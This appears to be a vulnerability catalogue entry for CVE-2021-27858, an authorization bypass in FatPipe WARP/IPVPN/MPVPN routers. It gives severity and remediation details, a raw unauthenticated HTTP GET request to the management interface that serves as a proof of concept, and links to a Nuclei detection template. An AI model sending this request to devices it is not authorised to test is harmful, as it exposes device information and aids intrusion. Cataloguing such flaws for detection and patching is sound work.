| Title | FatPipe WARP/IPVPN/MPVPN - Authorization Bypass |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | Unauthenticated attackers can access sensitive management interface URLs and obtain device information due to missing authorization checks. |
| Remediation | Upgrade to FatPipe WARP/IPVPN/MPVPN version 10.1.2r60p91 or 10.2.2r42 or later. |
| CVSS Score | 5.3 |
| EPSS Score | 0.37835 |
| CVE ID | CVE-2021-27858 |
| CWE ID | CWE-862 |
| Tags | cve cve2021 fatpipe auth-bypass router vuln |
FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain a missing authorization caused by lack of access control in the web management interface, letting remote attackers access sensitive URLs, exploit requires no authentication.
GET /fpui/jsp/index.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25
Connection: close
Accept: */*
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27858.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27858.pcap
N/AN/A